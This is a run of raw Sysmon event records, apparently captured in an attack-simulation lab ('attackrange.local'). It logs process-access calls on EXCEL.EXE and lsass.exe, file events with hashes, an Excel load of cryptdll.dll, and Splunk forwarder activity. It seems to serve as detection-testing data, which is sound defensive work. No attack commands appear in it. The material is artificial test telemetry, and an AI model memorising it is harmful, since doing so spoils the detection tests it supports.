14:47:33.682{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.682{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.682{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+163fd|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d6162|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.682{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+19ab3|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.682{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.682{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000014426Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.397{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50153-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000014425Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:34.272{625C326B-7006-613B-AC04-00000000F101}33162744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014424Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:34.100{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A62A949841FADD2B97380C7D823CCA29,SHA256=3C0800A9CFC568F1B60C9F5AC45BA632B6B8FB80FC4A8CFA66BD7036E5E15AC5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.979{7BD73061-7004-613B-FA0A-00000000F001}1092ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Users\Administrator\AppData\Local\Microsoft\Office\OTele\excel.exe.db-journalMD5=BEFF88B345E45FAA6F00F1E0EB0734B5,SHA256=4507E6B2039D750DC3497ADE1A0459F2734BF27116EAE9F8E6139CAB1267283C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.979{7BD73061-7004-613B-FA0A-00000000F001}1092ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Users\Administrator\AppData\Local\Microsoft\Office\OTele\excel.exe.db-journalMD5=96C86BD58810B9A683ADF18E3E55F84C,SHA256=573A135D593D564272B0F7D375A09EF2A9323F6046FDF61D642D89D17C4B6EA2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.900{7BD73061-7003-613B-F90A-00000000F001}5220ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Users\Administrator\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xmlMD5=03B3C8AB0B259C7822566E4E1D1BD57A,SHA256=BBD519E3C02834731734D39266A2213289795F7DAA5C5F5333537CB2DF7D5197,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000046510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.900{7BD73061-6D0F-613B-9406-00000000F001}44804920C:\Windows\Explorer.EXE{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+1e03a|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.900{7BD73061-6D0F-613B-9406-00000000F001}44804920C:\Windows\Explorer.EXE{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\Explorer.EXE+1f054|C:\Windows\Explorer.EXE+1f000|C:\Windows\Explorer.EXE+1dfec|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.838{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=60148D3284A3A8986231D1B34053240B,SHA256=073A9C501CA8F9D80C44D3614E26380921F9B8B9D0512B27FF65CA68257A5F8E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000046507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.775{7BD73061-7004-613B-FA0A-00000000F001}10926436C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+1a1a8e|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+d89b0|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+58d2c|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+5b2ca|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000046506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.447{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\cryptdll.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptography ManagerMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptdll.dllMD5=4B31902F1E0B79CE7E46D9877647C1CC,SHA256=8925892119315293C49D09A26191149660934BF1E5D3D023722E90339ADA38AA,IMPHASH=CAB6D6025DF08B0D0BC6259D625E2778trueMicrosoft WindowsValid 23542300x800000000000000046505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.510{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=60148D3284A3A8986231D1B34053240B,SHA256=073A9C501CA8F9D80C44D3614E26380921F9B8B9D0512B27FF65CA68257A5F8E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.510{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=0FCE0737A036870AE6029DC7853F87DF,SHA256=B035F50889DB9071DFF73FFA0709898E7ADD6C19A56A97BB7F5C4B3EDD0FDE83,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000046503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.510{7BD73061-65B0-613B-0A00-00000000F001}612968C:\Windows\system32\services.exe{7BD73061-7006-613B-FC0A-00000000F001}7140C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\services.exe+1713f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.510{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-7006-613B-FC0A-00000000F001}7140C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.479{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7006-613B-FC0A-00000000F001}7140C:\Windows\system32\sppsvc.exe0x103800C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.479{7BD73061-65B0-613B-0A00-00000000F001}6124244C:\Windows\system32\services.exe{7BD73061-7006-613B-FC0A-00000000F001}7140C:\Windows\system32\sppsvc.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+307d|C:\Windows\system32\services.exe+6334|C:\Windows\system32\services.exe+dc24|C:\Windows\system32\services.exe+d248|C:\Windows\system32\services.exe+4d0c|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.432{7BD73061-65B2-613B-1600-00000000F001}12962312C:\Windows\system32\svchost.exe{7BD73061-7006-613B-FB0A-00000000F001}2228C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+8d212|C:\Windows\system32\wbem\wmiprvsd.dll+8dfd1|C:\Windows\system32\wbem\wmiprvsd.dll+3b42f|C:\Windows\system32\wbem\wmiprvsd.dll+d4be|C:\Windows\system32\wbem\wbemcore.dll+2af4f|C:\Windows\system32\wbem\wbemcore.dll+22adf|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.416{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.416{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.416{7BD73061-65B0-613B-0B00-00000000F001}6205772C:\Windows\system32\lsass.exe{7BD73061-65B0-613B-0A00-00000000F001}612C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+1a16d|C:\Windows\system32\lsasrv.dll+2704b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000046495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,DeviceConntectedOrUpdatedSetValue2021-09-10 14:47:34.416{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\16.0\Common\Identity\Identities\administrator@attackrange.local_AD\FriendlyName(Empty) 23542300x800000000000000046494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.400{7BD73061-7003-613B-F90A-00000000F001}5220ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Users\Administrator\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview.ttfMD5=4DFB7AADD4771ADDF1BA168C12DEDBF3,SHA256=DB9B46CC2132D76EF90CA9A59AF03CB478BB91EA2CDA3E8E42DD0801873416E2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.400{7BD73061-7003-613B-F90A-00000000F001}5220ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Users\Administrator\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.JsonMD5=E9FB5A0DF105C6F7F80E8B650DF56AAB,SHA256=A24470762A1F9F5F069C0F70EF53D693D08B7C99797935800FF294BD3B2566F3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000046492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.322{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.322{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.197{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-7006-613B-FB0A-00000000F001}2228C:\Windows\system32\wbem\wmiprvse.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.197{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-7006-613B-FB0A-00000000F001}2228C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 